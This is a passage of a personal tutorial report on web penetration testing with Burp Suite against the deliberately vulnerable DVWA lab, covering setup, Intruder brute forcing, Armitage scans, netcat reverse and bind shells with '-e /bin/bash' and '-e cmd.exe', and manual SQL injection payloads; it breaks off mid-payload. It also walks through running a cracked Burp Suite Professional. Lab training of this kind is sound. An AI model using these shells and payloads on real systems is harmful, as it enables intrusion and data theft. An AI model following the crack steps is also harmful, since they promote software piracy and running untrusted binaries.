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1. 	INTRODUCTION:
 
Burp Suite is an integrated pla�orm/graphical tool for performing security

tes�ng of web applica�ons. Burp suite is a java applica�on that can be used

to secure or crack web applica�ons. The suite consists of different tools, like

a proxy server, a web spider an intruder and a so-called repeater, with which

requests can be automated. You can use Burp's automated and manual

tools to obtain detailed informa�on about your target applica�ons.

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web applica�on that is 

damn vulnerable. Its main goals are to be an aid for security professionals to 

test their skills and tools in a legal  environment, help web developers be�er 

understand the processes of securing web applica�ons and aid 

teachers/students to teach/learn web applica�on security in a class room 

environment. 

In this report I am using a combina�on of Burp tools to detect and exploit

vulnerabili�es in Damn Vulnerable Web App (DVWA) with low security. By

default, Burp Scanner scans all requests and responses that pass through

the proxy. Burp lists any issues that it iden�fies under Issue ac�vity on the

Dashboard. You can also use Burp Scanner to ac�vely audit for

vulnerabili�es. Scanner sends addi�onal requests and analyzes the

applica�on's traffic and behavior to iden�fy issues.

Various examples are outlined in this report for different types of

vulnerabili�es such as: SQL injec�on, Cross Site Request Forgery (CSRF),

Cross-site scrip�ng, File upload, Local and Remote File Inclusion. I tested



various types of penetra�on tes�ng tools in order to exploit different types

of vulnerabili�es. The report consists from the following parts:

1. Installing and Configuring BurpSuite

2. BurpSuite Intruder.

3. Installing XMAPP and DVWA App in Windows System.

4.  Installing PHP, MySQL, Apache2, Python and DVWA App in Kali Linux.

5. Scanning Kali-Linux and Windows Using  . 

6. Understanding Netcat, Reverse Shells and Bind Shells.

7. Adding Burps Cer�ficate to Browser.

8. Se�ng up Target Scope in BurpSuite.

9. Scanning Using BurpSuite.

10. Scan results for SQL Injec�on Vulnerability with BurpSuite and Using

SQLMAP to Exploit the SQL injec�on.

11. Scan Results for Opera�ng System Command Injec�on Vulnerability with

BurpSuite and Using Commix to Exploit the OS Command Injec�on.

12. Scan Results for Cross Side Scrip�ng (XSS) Vulnerability with BurpSuite,

Using Xserve to exploit XSS Injec�on and Stealing Web Login Session

Cookies through the XSS Injec�on.

13. Exploi�ng File Upload Vulnerability.

14: Exploi�ng Cross Site Request Forgery (CSRF) Vulnerability.

15. Exploi�ng File Inclusion Vulnerability.

16. References.



 



2. 	INSTALLING	AND	CONFIGURING
BURPSUITE:
a)	Installing	Community	Edition	of	BurpSuite:
 
1. Go to official website of BurpSuite.

h�ps://portswigger.net/burp

2. Go to community edi�on and download BurpSuite for Windows:

h�ps://portswigger.net/burp/communitydownload

3. Install BurpSuite. In the first run burp is going to ask you to accept the

terms. Select “I agree”.

4. In this page temporary project is the automa�c selec�on because

community version of burp suit does not allow you to save project into hard

disk.



5. Click next . You can use “Burp Defaults”.  Or you can load configura�ons 

from exis�ng file.  I am going to use the Burp defaults.

6. Then I got the following dashboard.



7. From “Se�ngs” menu you can choose the display font size.

 



8.  In the “Event Log” sec�on, it displays everything that  you know burp suit 

does in background. If any error pops up, then we can certainly iden�fy in

the Log sec�on and fix accordingly

9. Let’s understand how proxy works. Click on “Proxy” sec�on. Proxy is the

essen�al part of BurpSuite because in the Proxy sec�on we can monitor the 

requests that you send out from your web  browser and the responses that

you get back from server’s proxy. Proxy sec�on also keeps track of the URLs

that you have visited. BurpSuite is basically proxy that sits between your

browser and server. When you setup proxy like BurpSuite, the request that

you send out from web browser gets intercepted by proxy, the request that 

you send out from your web  browser gets intercepted by the proxy , then

you decide what to do with the request whether to forward the request to

server to just to drop it and delete it. The proxy sec�ons basically intercept

the URLs and then you can now forward the URLS and requests to

appropriate tools.

10. You can use burps embedded browser if you click on “Open browser”,

then it should open the embedded browser. The embedded browser is

specifically configured to work with BurpSuite and it basically comes on

along with the installa�on of BurpSuite. You can also configure external

browser to work with BurpSuite. In the defaults the proxy is configured to 

listen to  incoming traffic at local host port number 8080.  

11. Example, make sure to turn the intercept on.  Back to BurpSuite browser.

Request any website as example www.youtube.com. The BurpSuite browser

is flashing. If you go to “Proxy/Intercept” sec�on you will see that the

BurpSuite proxy intercepted the request made from web browser. The

BurpSuite browser is hanging because it is wai�ng the BurpSuite proxy to

forward the request it is holding or it has intercepted. We can drop or delete



the request or we can forward the request. When we select forward, the 

web page  is loaded to the browser.

12. BurpSuite browser removed the SSL layer. SSL layer encrypts the traffic

that the applica�on received and sends out. BurpSuite needs data in plain

text to work.

13. “Proxy/H�p history” sec�on saves the URLs that you have visited.

14. Click on “Target” tab. By default, the BurpSuite intercepts all web

applica�ons or URLs you visit. And when you actually doing or tes�ng a

website you actually don’t care about anything except the website or

applica�on you are tes�ng. We can use “Target Scope” feature in BurpSuite

to tell BurpSuite to crawl the applica�on you are tes�ng and it will ignore

everything except the applica�on you are tes�ng. Add the URL of the

website that you are interested to test.



15. From “Proxy/Op�ons” sec�on, we must check “And URL” op�ons in

“Intercept Client Requests” and “Intercept Server Requests” sec�ons.



16. In “Target/Site Map”, you can select filter to filter the links to show only

the “Target/Scope” URLs.



 



b)	Installing	Professional	Edition	of	BurpSuite:
 

1. Professional Edi�on of BurpSuite is not available for free. But the crack of

Professional Edi�on is available on the internet.

2. I installed jdk-16_windows-x64_bin.exe to make it simpler to install

BurpSuite crack.

3. Download any BurpSuite crack from the internet. All cracks work in in

same way. As example, I downloaded the crack of

Burp_Suite_Professional_2022.2.2_Beta in Windows. When you open the

folder, you get two files burploader.jar and burpsuite_pro_v2022.2.2.jar.

4. Run burploader.jar. Copy the License key and Press Run Bu�on.



5. Now go to command line and change directory to the into the same folder

you extracted the BURPSUITE file and type the below command:

> java -javaagent:burploader.jar -noverify -jar --illegal-access=permit

burpsuite_pro_v2022.2.2.jar

6. The BurpSuite Professional program will run. Press I Accept to agreement.



7. Copy the key and Paste it into license field, and click next.

8. Now Press on “MANUAL ACTIVATION”



9. Now follow the steps in below image and copy paste the ac�va�on codes

accordingly, and click next

Your BurpSuite Professional will be ac�vated.



3. 	BURPSUITE	INTRUDER:
 
1. BurpSuite is basically intruder that allows you to brute force usernames

and password in a web applica�on. And the intruder is the most flexible tool

available out there for brute forcing and the intruder does a lot more than

brute forcing. You can automate a�acks such as SQL injec�on or XSS as well.

2. The website we are going to test for intruder is from acune�x.com. This

website allows you to test your web pen tes�ng skills online in legal

environment. Visit testphp.vulnweb.com  

3. Go to the web page testphp.vulnweb.com   and login with the username 

test and put any password.  



4. In BurpSuite “Proxy/Intercept” sec�on, you get the parameters that we

sent out to the form in the right side. You can see also the parameters from

“Request Body Parameters” sec�on. We can send the informa�on to any of

these tools: Intruder, Repeater, Sequencer, Decoder, Comparer.

5. I sent the informa�on to the intruder. The Intruder has flashed and

received the informa�on.



6. In the “Payload Posi�ons”, BurpSuite has marked few areas. Basically,

these are the areas that we can inject the input. BurpSuite basically thinks

that these are the poten�ally vulnerable areas that you can exploit.

7. In the “A�ack type” menu there are different types of a�acks. We are

going to test Sniper a�ack. Sniper a�ack is used in the scenarios when you

know either the username or password. In our case we know the username

and we are going to test different passwords. As we I am going to test the

password field only, I selected it using “Add” op�on and I deselected the

username by using “Clear” op�on. That means we are going to inject

password in Password field.

8. Payload set = 1 this is because we have to supply one word list. In payload

tools we can provide all of the following tools that intruder provides. When 

we choose payload type as simple list, we can  either load the exis�ng word

list from hard disk or we can supply words manually. In order to load from

hard disk, click on load and select the loca�on. We can add lists manually

too. Then click start a�ack.



9. Sniper starts now to inject passwords into password field. Intruder tried all

passwords we supplied to it. To know the correct password, we have to hunt

for different length. The different length was 6250 when the password was

“test”. We get whole bunch of informa�on. Basically, when  you login

successfully the web applica�on has to pull addi�onal informa�on about the

user. So, the page size becomes bigger.

10. Otherwise you can go to “Render” tab and it will show the page a�er 

logging on.  



11. You can test similarly other types of a�acks.

In ba�ering ram a�ack, it takes a word in password list and inject the
word in both username and password fields.
In pitchfork mode we have to supply two-word lists. So, we have to
mark both username field and password field. We have two-word
lists, one for username and the other word list for password.
Last a�ack is cluster bomb. Cluster bomb is similar to pitchfork. It
takes two-word lists but it works differently. As example it takes one
word from word list and compares it against each word in password
list. And the same repeats for all usernames and passwords. We have
to mark the username field and password field. And we must select
the user list for first payload and password list for the second
payload.

12. The intruder can also do automated a�acks like SQL injec�ons and XSS.  

13. Repeater can be used for modifying requests. Many �mes, you need to

perform SQL injec�on or XSS a�acks manually using the repeater.



14. Decoder allows you to decode and data in mul�ple forms. We can also

basically apply hashing algorithm. Just click hash, then you have all relevant

hashes. If you click smart decode the data will be decoded into original form.

15. The extensions can extend the func�onality of BurpSuite. If we go to

BApp store, there are extensions for BurpSuite in marketplace for both

community and free versions. You can install any extension of install op�on is

available. You can remove the extension any�me.





4. 	INSTALLING	XMAPP	AND	DVWA	APP
IN	WINDOWS	SYSTEM:
 
I will show here the main steps to install XAMPP and DVWA in Windows

system.

1. Download XAMPP from h�ps://www.apachefriends.org/index.html

2. Install XAMPP

3. From control panel, enable the XAMPP and MySQL servers.

4. Download DVWA from h�ps://github.com/digininja/DVWA. Extract the

folder DVWA-master.zip . Then copy it to the “XAMPP/htdocs” folder.

5. In the DVWA/Config folder, rename make copy of config.inc.php.dist and

rename it to config.inc.php.

6. We need to create the database and username and password  that will 

have privilege on DVWA   database from MyPhpAdmin. In the config.inc.php

change setup the database parameters as the following

$_DVWA = array();



$_DVWA[ 'db_server' ]   = '127.0.0.1';

$_DVWA[ 'db_database' ] = 'dvwa';

$_DVWA[ 'db_user' ]     = 'dvwa';

$_DVWA[ 'db_password' ] = 'password';

$_DVWA[ 'db_port'] = '3306';

7. Go to h�p://localhost/phpmyadmin/ to create the DVWA database and

user privileges. Choose new, then create dvwa database.

8. Choose the dvwa database and go to “Privileges” tab. Then select “Add

user account”.





9. Now browse h�p://localhost/dvwa/. First �me you login you must click

“Create/Reset” database in h�p://localhost/dvwa/setup.php page. And you

will get the following dashboard:



 



5. 	 	 INSTALLING	 PHP, 	 MYSQL, 	 APACHE2,
PYTHON	AND	DVWA	APP	IN	KALI	LINUX
:
 

a)		Installing	PHP,	MySQL	and	Apache2	in	Kali
Linux	:
 

1. Before running through the steps of this tutorial, make sure that all of

your repositories are up to date:

# apt-het upgrade

# apt-get update

 
2. Install MySQL on Kali Linux:

By default, MySQL comes pre-installed on Kali Linux. If that's not the case

for you or maybe you messed up with MySQL, we can go ahead and install it

manually. If you have worked with Debian-based distribu�ons, MySQL

comes in two packages: MySQL-server, MySQL-client. If they are not

installed, use the command below:

# sudo apt install default-mysql-server

# sudo apt install default-mysql-client

3. MySQL is a widely-deployed database management system used for

organizing and retrieving data. To install MySQL, open terminal and type in

these commands:



# apt-get install default-mysql-server

# apt-get install default-mysql-client

4. Start the Mysql service with the command below:

# sudo service mysql start

You can check whether the service is running using the systemctl status

command below.

# systemctl status mysql

5. Finish up by running the MySQL set up script:

# sudo mysql_secure_installa�on

6. Apach2 usually installed by default during the Kali Linux installa�on. If not

installed, open terminal and type in this command:

# sudo apt-get install apache2

7. PHP comes installed in Kali Linux. PHP comes installed in Kali Linux. If
you want to install newest version, follow the instructions in previous
section to install latest version.

Remove old packages

# apt-get purge php

# apt-get purge php-*

 
To install latest version of PHP:

# apt-get install php php-pear php-mysql

To install additional PHP extensions, use the syntax below where xxx
stands for the extension name.

# sudo apt install php-xxx



e.g.

# sudo apt install php-

{cli,json,imap,bcmath,bz2,intl,gd,mbstring,mysql,zip}

8. Now, we need to configure the server. Use the command below to

change your loca�on on the Terminal to point to /etc/php/8.2/apache2

directory.

#cd /etc/php/8.2/apache2

Scroll down and look for these two lines: allow_url_fopen and

allow_url_include. Set them both as On. Save the file and Exit.

9. Finish up by restar�ng Apache:

# service apache2 restart

10. Start Apache and any other service at boot on Kali Linux

# sudo update-rc.d apache2 enable

# update-rc.d postgresql enable

# service apache2 status

# service postgresql status

11. To test this up, first create a new file:

# gedit /var/www/html/info.php

Add in the following line:

<?php

phpinfo();

?>

Then Save and Exit.

12. Finish up by visi�ng your php info page (make sure you replace the

example IP address with your correct one): h�p://192.168.223.128/info.php



 



b)		Installing	DVWA	App	in	Kali	Linux	:
 
1.Go to the folder /var/www/html

# cd /var/www/html

2. Once in this directory, we will clone the DVWA GitHub repository with the

command below.

#sudo git clone h�ps://github.com/digininja/DVWA

New folder with name DVWA was created in the directory /var/www/html

3. A�er downloading cloning DVWA in our /var/www/html directory, we s�ll

need to do some minor configura�ons. I renamed the DVWA folder too dvwa

folder:

# mv DVWA dvwa-linux

To get started, let’s set read, write, and execute permissions to the DVWA

directory. Execute the command below.

# chmod -R 777 dvwa-Linux

4. A�er successfully execu�ng the command, we need to set up the user and

password required to access the database. Change directory to point to the

config directory with the command below.

# cd dvwa-Linux/config

5. When you run the ls command to view the files inside the directory, you

will see the config.inc.php.dist file. That is the original file containing the

default configura�ons. We won’t edit it. Instead, we will create a copy of this



file called config.inc.php and the original config.inc.php.dist file will act as

our backup in case things go wrong. Execute the command below.

# cp config.inc.php.dist config.inc.php

6. Run the command below to open the newly created file with text editor

and make the necessary changes, as shown in the image below. We will set

db_user as dvwa and db_password as password. Feel free to use a different

username or password.

7. Start the Mysql service with the command below:

# sudo service mysql start

You can check whether the service is running using the systemctl status

command below.

# systemctl status mysql

8. Login to the MySQL database using the command below as root. If you

have another name set for the superuser in your system, use it instead of

root.

#sudo mysql -u root -p

You will see a prompt to enter the password. Just hit Enter since we haven’t

set any password. MySQL will open. We will create a new user with the

username and password set in our DVWA applica�on configura�on file. In

my case, the username was ‘dvwa,' and the password was ‘password.’ The

server we are using is Localhost (127.0.0.1). Use the command below.



# create user dvwa@'127.0.0.1' iden�fied by 'password';

9. We need to grant this new user privilege over the dvwa database. Execute

the command below.

# grant all privileges on dvwa.* to 'dvwa'@'127.0.0.1' iden�fied by

'password';

10. Start Apache server using the command below:

#sudo service apache2 start

To check whether the service started successfully, use the status command.

# systemctl status apache2

11.  Access dvwa on your browser

That’s it! We now have everything configured, and we can proceed to launch

DVWA. Open your browser and enter the URL:

h�p://192.168.223.128/dvwa-linux/setup.php

That will open the setup.php web page: That will create and configure the

database. A�er some �me, you will be redirected to the DVWA login page.

Log in with these creden�als:Username – admin, Password - password

Once logged in, you will see the DVWA main page. On the le� panel, we have

the different types of a�acks you can exploit and the DVWA Security bu�on

that allows you to choose the desired security level - Low, Medium, High, or

Impossible.

12. For new MariaDB installa�ons, the next step is to run the included

security script. This script changes some of the less secure default op�ons

for things like remote root logins and sample users. Run the security script:



#sudo mysql_secure_installa�on

This will take you through a series of prompts where you can make some

changes to your MariaDB installa�on’s security op�ons.

13. Note that, when I will use DVWA installed in Windows in my tutorials I

will men�on to it with h�p://localhost/dvwa or h�p://10.0.0.4/dvwa. While

when I will use the DVWA App installed in Kali Linux, I will men�on to it by

the link address h�p://192.168.223.128/dvwa-linux.

 



c)	 Installing	 Python3	 with	 Python2	 in	 Kali
Linux	:
 
1. Install Python 2 on Debian:

#sudo apt install python2

2. Install Python 3 on Debian:

#sudo apt install python3

3. You can run the following ls command to find out what python binary

executables are available on your system:

#ls /usr/bin/python*

To check what is your default python version execute:

#python --version

4. Switching between python versions using update-alterna�ves:

To change python version system-wide we can use update-
alterna�ves python command. Logged in as a root user, first list all
available python alterna�ves:

# update-alterna�ves --list python

If se�ng up virtual environments is not what you want to do, then
you can also use update-alterna�ves to switch between python
version. Run these two commands first, but make sure the python
versions match what you have on your computer

# sudo update-alterna�ves --install /usr/bin/python python

/usr/bin/python2.7 1



#sudo update-alterna�ves --install /usr/bin/python python

/usr/bin/python3.10 2

You may then run update-alterna�ves with the --config op�on so
that you may select which version you want to choose to be the
default

#sudo update-alterna�ves --config python

Use the interac�ve menu to select which version you would like to
use as the default. In order to check if your changes have worked
you can use python --version

5. Se�ng up virtual Environments:

You can also setup virtual python environments using pip. Install pip
with the following command.

#sudo apt install python-pip

(to install pip3 for python3, use this command sudo apt install python3-pip)

Check to see if your Python installa�on has pip. Enter the following
in your terminal:

# pip -h

Install the virtualenv package. The virtualenv package is required to
create virtual environments. You can install it with pip:

# pip install virtualenv

Create the virtual environment: To create a virtual environment, you
must specify a path. For example, to create one in the local
directory called ‘mypython’, type the following:

#virtualenv mypython

You can ac�vate the python environment by running the following
command:



# source mypython/bin/ac�vate

You should see the name of your virtual environment in brackets on
your terminal line e.g. (mypython). Any python commands you use
will now work with your virtual environment
To deac�vate the virtual environment and use your original Python
environment, simply type ‘deac�vate’.

# deac�vate

6. To install python-pip2

# curl h�ps://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py

#  sudo python2 get-pip.py 

7. Install PIP for Python 3 using the following terminal command.

#sudo apt install python3-pip

8. Two methods to convert Python 2 to Python 3

#pip3 install 2to3

Ex,

# 2to3 scripts -n -w -o scripts3

 

Or,

# pip3 install modernize

# python-modernize --help

 



d)	 Bringing	 up	 network	 on	 boot-up	 when
NetworkManager	is	uninstalled?
 
1. Edit /etc/network/interfaces

# sudo gedit /etc/network/interfaces

DHCP example

# Loopback

auto lo

iface lo inet loopback

# network card

auto eth0

iface eth0 inet dhcp

Sta�c example looks like

# Loopback

auto lo

iface lo inet loopback

# network card

auto eth0

iface eth0 inet sta�c

address 192.168.1.254

netmask 255.255.255.0



network 192.168.1.0

broadcast 192.168.1.255

gateway 192.168.1.1

2. Restart networking.

# sudo /etc/init.d/networking restart

3. If you use sta�c, you might want to check /etc/resolv.conf to make sure

name servers have been specified. It might look like this:

nameserver 208.67.222.222 # OpenDNS

nameserver 8.8.8.8        # Google

 

 
 



6. 	SCANNING	KALI-LINUX	AND
WINDOWS	USING	 	ARMITAGE: 	 	
Armitage is not preinstalled in Kali Linux 2022.  

1. Install Armitage in Kali Linux using the command

#sudo apt install armitage

2. A�er install, type the following commands to start Metasploit service and  

open armitage

# service postgresql start

# sudo msfdb init

#sudo armitage

You will get the following screen:

3.  Click scan/host/quick scan. Enter the hostname or IP address you want to

scan for open port. As example, I scanned my Kali Linux device

h�p://192.168.223.128. I got the following ports open

http://192.168.223.128/


4. To discover the opera�ng system click on Hosts/Nmap scan/ Quick scan

(OS detect).

5.To find Vulnerabili�es on the Linux host click on A�acks/find a�acks. Then

you will see the exploitable vulnerabili�es by clicking the host and selec�ng

a�acks. You can try any of the a�acks.



6. I tried to scan the Window machine with the IP address 10.0.0.4. I got the

following ports open

7. To discover the opera�ng system of the Windows machine 10.0.0.4, click

on Hosts/Nmap scan/ Quick scan (OS detect).

8.To find Vulnerabili�es on the Windows host click on A�acks/find a�acks.

Then you will see the exploitable vulnerabili�es by clicking the host and



selec�ng a�acks. You can try any of the a�acks.

 

 

 



7. 	 UNDERSTANDING	 NETCAT, 	 REVERSE
SHELLS	AND	BIND	SHELLS:
 
1. Netcat is used to

Scan and connect to arbitrary port.
Create listener on local port
Transfer file.
Remote administra�on (reverse shell, bind shell)

nc [flag op�ons] [target ip address] [port]

2. Op�on we will use:

l=listen mode
e=program to execute a�er connec�on is established
n= don’t perform DNS lookup
p=local port
v=verbose

3. Netcat is installed by default in Kali-Linux but it is not installed in Windows.

You can download netcat for windows from:

h�ps://eternallybored.org/misc/netcat/
h�ps://github.com/diegocr/netcat

3. In these examples, I will use Kali-Linux with IP address: 192.168.223.128/

that will communicate with Windows machine that has IP address 10.0.0.4.

4. Example 1: To connect to any open port for any machine, as example to

connect to port 80 in Kali-Liux machine 192.168.223.128, use the command

 #nc -nv 192.168.223.128

I got message that the port is open:



4. Example 2: In windows machine with IP address 10.0.0.4, I executed a

netcat command to listen to any connec�ons to port 4444. The command

has the following form:

> nc -nvlp 4444

It will listen to any incoming connec�on to port 4444

In Kali Linux, I will  make connec�on with the Windows machine at
port 4444 which the netcat is listening to:

# nc -nv 10.0.0.4 4444

It will show that port 4444 is open. So there is a connec�on path
between the Kali Linux machine and Window machine through the
port 4444.
Now write a sentence from Kali Linux. Such as “Hello from Hidaia”.
We get the message at Windows netcat command

5. Example 3: Now we want to forward the data received at the Windows  

while listening to port 4444 to output file output.exe. The command has the

following form:



> nc -nvlp 4444 > output.exe

So the Windows device of IP address 10.0.0.4 will listen to port 4444
and any incoming data received will be forwarded to file output.exe
I have file in Kali-Linux (VoiceChanger.exe) in the folder
/home/hidaia. I am going through Netcat connec�on to transfer it to
Windows machine. I wrote the following command in the Kali Linux
machine :

# nc -nv 10.0.0.4 4444 < /home/hidaia/VoiceChanger.exe

The connec�on will be ini�ated. The file VoiceChanger.exe will be transferred

to Windows machine with the name output.exe

6. Example 4: In this example the Kali Linux user wants to remotely work on

the Windows machine. The Windows device of IP address 10.0.0.4 will listen

to port 4444, and any incoming connec�on received will forward it to

Windows command line terminal:

> nc -nlvp 4444 -e cmd.exe

So any user that will connect to Windows machine through port 4444 will be

forwarded to the command line terminal cmd.exe. In Kali Linux, we will write

the command

# nc -nv 10.0.0.4 444

The Kali Linux user will get the command line terminal of the Windows

machine.



7. Example 5: In this example the Windows user wants to remotely work on

the Kali Linux machine. The Windows device of IP address 10.0.0.4 will listen 

to port 4444  

# nc -nlvp 4444

In Kali linux machine, write the following command to connect to
Windows machine and run a program a�er the connec�on, which is
a bash command /bin/bash:

# nc -nv 10.0.0.4 4444 -e /bin/bash

When the connec�on is ini�ated, the bash command terminal will
run at Windows where we can write commands to Kali Linux
machine remotely.



8. Example 6: The reverse shell means the vic�m connects to the a�acker.

The target is connec�ng and the a�ack box is listening. The a�acker in our

examples was the Windows machine of IP address 10.0.0.4 listening to port

4444 and so it will be open port. The Windows device of IP address 10.0.0.4

will listen to port 4444:

# nc -nlvp 4444

The vic�m Kali-Linux machine will make connec�on to the a�acker
Windows machine through port 4444 and will run a program a�er
the connec�on, which is a bash command /bin/bash:

# nc -nv 10.0.0.4 4444 -e /bin/bash

When the connec�on is ini�ated, the bash command terminal will
run at Windows where we can write commands for the Kali Linux
machine remotely.

9. Example 7: In the bind shell, we open a port in the machine then we

connect to it. The a�acker fires off an exploit and the exploit will open to the

a�acker a port and it will be listening to him to connect at that specific port

and at the specific machine with netcat.



In our example the vic�m again is the Kali Linux machine that has IP
address: 192.168.223.128. The a�acker is the Windows machine
with IP address 10.0.0.4 . The vic�m which is the Kali Linux machine
is listening to port 4444 through the netcat command and will run a
program a�er the connec�on, which is a bash command /bin/bash:

# nc -nlvp 4444 -e /bin/bash

The a�acker which is the Windows machine will make connec�on to
the vic�m Kali Linux machine at port 4444 through the netcat
command:

# nc -nv 192.168.223.128 4444

 

 



8. 	 ADDING	 BURPS	 CERTIFICATE	 TO
BROWSER:
 
1. In this example I will show adding Burps Cer�ficate to Firefox. Same will be

applied to other types of browsers. When you setup the browser to work

with Burp Suit, when we visit certain pages, we no�ce there is an error that

the connec�on is not trusted. We may receive other errors as well. The

browser does not trust the cer�ficate generated by BurpSuite. You may get

also connec�on is not trusted error.

2. Go to BurpSuite “Proxy/Op�ons” tab. Choose import/export CA cer�ficate

op�on. Then choose “Export Cer�ficate in DER format”. Export the cer�ficate

to a file name with DER extension, as example “burp-cert.der”.



3. Go to preference in Firefox browser. Then go to “Privacy & Security”

sec�on. Then go to Cer�ficates sec�on. Then click “View Cer�ficates”. Then  

import the exported cer�ficate from BurpSuite browser.

4. In BurpSuite, go to the Proxy tab. Op�ons Click edit under Proxy Listeners.

Go to HTTP tab. Uncheck Support HTTP/2.





9. 	 SETTING	 UP	 TARGET	 SCOPE	 IN
BURPSUITE:
 
1. When tes�ng website, we want to add the site we are willing to test  to 

scope. Meaning that the website the burp is willing to interact with and run

tools on.

 
2. Any site we visit when intercept is on, it will be intercepted by BurpSuite.

To set scope right click on any of the content in the screen but you can also

go to target tape and see the sites that you visited and choose the one you

want to include in scope.

 
3. If we right click on the website we want to test and choose add to scope

we no�ce in scope tab rules automa�cally created adding that to target

scope. You can also add sites manually by typing on the domain or IP and

port.



4. Now there are sites in scope. We can go to tools such as proxy to take

advantage of this feature. Go to proxy op�ons where we can configure the

rules for intercept. We can use the URL in the target scope for requests and

responses. We can also move the rules up so to take precedence over other

rules.



5. In this tutorial. added localhost/dvwa in target scope. . In the “Target/Site

Map”, we can filter then the site map to show only items in scope.



6. To set the intercept on, set the intercept on from “Proxy/Intercept” tab.

When we visit the website in the target scope, it should.be intercepted

because we set it in scope. If you visit website that is not in scope, that

website will not be intercepted because it is not in scope. You can also scan

the website in the target scope while the intercept is off.

 



10. 	SCANNING	USING	BURPSUITE:
 

a)	Crawl	and	audit	scan	of	a	website:
 
1. The scan is only available in the professional version. I get the trial version

of Professional BurpSuite.

2. In the dashboard, choose new scan. You will get the following dashboard.

3. I chose to scan h�p://localhost/dvwa and the scan type “Crawl and audit”.

4. Go to “Configura�on” tab. You need to setup the scan configura�on. I

Chose “Deep” scan.



5. In the “Applica�on login” page, I added the login creden�al to DVWA

dashboard, Username:admin, Password:password.  

6. Then the “Resource Pool” tab, I used the default resource pool.



7. Select “OK” to start the scan. You can see the scan progress under the

“Scan” tab in the dashboard.



8. Genera�ng a report:

Select the relevant issues. Go to the Target > Site map tab, right-click on the

entry for h�ps://localhoat/dvwa, and select Issues > Report issues for this

host.



A wizard guides you through various op�ons, such as which file format to

use, how much detail to include, and so on. For now, just click Next to accept

the defaults un�l you're prompted to enter a filename and loca�on for the

report.

Click Select file and choose a loca�on where you want to save the report.

Enter a name for the file.

9. This is an example of a scan results for one SQL injec�on.



 

 

 



b)	Live	scan:
 
1. Live tasks are used to process the traffic from specific burp tools and

perform defined ac�ons on them

2. To create live task, on the dashboard click on “new live task”. You must

define the task type. Two op�ons, which is the “Audit” which performs the

vulnerability scan or “passive crawl” which adds entries to target site map.

You can define the tool scope which means the tools whose traffic to select

items that re processed by the live tasks. You can choose proxy, intruder and

repeater. You can configure the URL scope and this defines which tasks are

processed by live task based on the URL. You can configure the task to 

include everything or to use the sweet scope.  If you can define one or you

can define custom scope just for this task. You can also configure whether

you want to duplicate items that have been seen before based on the URL

and parameter names. So for some live tasks it will be wasteful to repeat 

same ac�on again.  



3. In the configura�on sec�on  you can configure other op�ons that are

applicable to live task.



4. You can also configure the resource pool which affects how many requests

can be made by this task in parallel

5. I created new live task and I setup the tools whose traffic will be inspected 

as the Proxy only, and I setup the scan configura�on  to Audit cri�cal issues 

only.

6. Through the embedded proxy just visit the interested URLs and turn off

the intercep�on of the proxy so all traffic pass through. In dashboard you can

see the number of requests has been made by this task and we can see the

number of issues being reported . And if I browse around some of the URLs,

we can see more requests happening and more issues being reported.



7.  If you choose the live “passive crawl” live task op�on, this op�on is used

to add items to target site map. 



c)	Active	and	passive	scan:
 
1. Other way to do scan Passive or Ac�ve scans is from “Target/Sitemap”.

Select the website branch that you want to make ac�ve or passive scan, and

right click on it. Choose the scan op�on whether Ac�ve or Passive Scan. In 

this image, I chose to do passive and ac�ve scan for the 

 h�p://localhost/dvwa/ branch.

2. The scans will be added to dashboard tasks.

 



d)	Scanning	http://localhost/dvwa/:
 
1. I applied all types of scans of h�p://localhost/dvwa/.

Crawl and audit of h�p://localhost/dvwa/.
Live audit of Proxy (all traffic) for h�p://localhost/dvwa/.
Live passive crawl of Proxy (all traffic) for h�p://localhost/dvwa/
Ac�ve scan of h�p://localhost/dvwa/
Passive scan of h�p://localhost/dvwa/





11. 	 SCAN	 RESULTS	 FOR	 SQL	 INJECTION
VULNERABILITY	WITH	BURPSUITE	AND
USING	 SQLMAP	 TO	 EXPLOIT	 THE	 SQL
INJECTION:
a)	SQL	injection	de�inition:
1. A SQL injection attack consists of insertion or "injection" of a SQL
query via the input data from the client to the application. A successful SQL
injection exploit can read sensitive data from the database, modify database
data (insert/update/delete), execute administration operations on the
database (such as shutdown the DBMS), recover the content of a given file
present on the DBMS file system (load file) and in some cases issue
commands to the operating system. SQL injection attacks are a type of
injection attack, in which SQL commands are injected into data-plane input
in order to affect the execution of predefined SQL commands. This attack
may also be called "SQLi".

2. When an attacker executes SQL injection attacks, sometimes the server
responds with error messages from the database server complaining that the
SQL query's syntax is incorrect. Blind SQL injection is identical to normal
SQL Injection except that when an attacker attempts to exploit an
application, rather than getting a useful error message, they get a generic
page specified by the developer instead. This makes exploiting a potential
SQL Injection attack more difficult but not impossible. An attacker can still
steal data by asking a series of True and False questions through SQL
statements, and monitoring how the web application response (valid entry
returned or 404 header set)."time based" injection method is often used
when there is no visible feedback in how the page different in its response



(hence it’s a blind attack). This means the attacker will wait to see how long
the page takes to response back. If it takes longer than normal, their query
was successful. So, exploiting it is somehow difficult because of not getting
error messages, but it is same as the normal SQL injection except how we
are going to detect it. Once detect it, we can use similar queries used
previously.

 

 



b)	Manual	exploitation	of	SQL	injection	without
using	any	tools:
1. In this example, I will show you how to manually exploit SQL injection and
dump the entire database without using any tool. The DVWA page
http://localhost/dvwa/vulnerabilities/sqli/ has SQL injection vulnerability. Enter
numerical user ID and it will execute some query in the backend database and it
will provide us with an output. It will provide us with the data associated with
the user ID.

What is actually happens, in the back end a query like this: “SELECT
first_name, last_name  FROM table where user_id=’$id’. $id’ is the id 
we are passing in the input field. These single quotes are used for 
comparison. If we pass something for user id as single quote or double 
quote, this will make SQL injection and we get error message. That is 
the easiest way to find and detect SQL injection.  I got the error when 
entering sing quote (‘) as user id.

http://localhost/dvwa/vulnerabilities/sqli/


If we put (‘ or 1=1#) this will make the condition true and the query
will show all users. I tried the payload (‘ or 1=1#), and I got the
following output: S we now know that the query is returning two
columns.

At this point we know that the server is vulnerable and we are able to
retrieve data of some users. Now our goal is to sump their passwords.
We need to determine how many columns the current SQL is returning.
We do this by order by clause. If we try the payload  (‘ or 1=1 order by 
4#) we get error. If we try the payload  (‘ or 1=1 order by 3#) we get 
error we will use this query: (‘ or 1=1 union select null, null from
information_schema.tables#). The union clause will concatenate
another SQL query with the preceding one so we will be executing two
queries simultaneously. So we are just selecting null, null from the



information_schema, and for MySQL like data bases all information of
the databases are stored in the information_schema. So we are going to
use tables from the information schema and this contains some
variables such as table_name and the table_name handy for us to retype
the tables in the current database. So let’s run the payload (‘ or 1=1
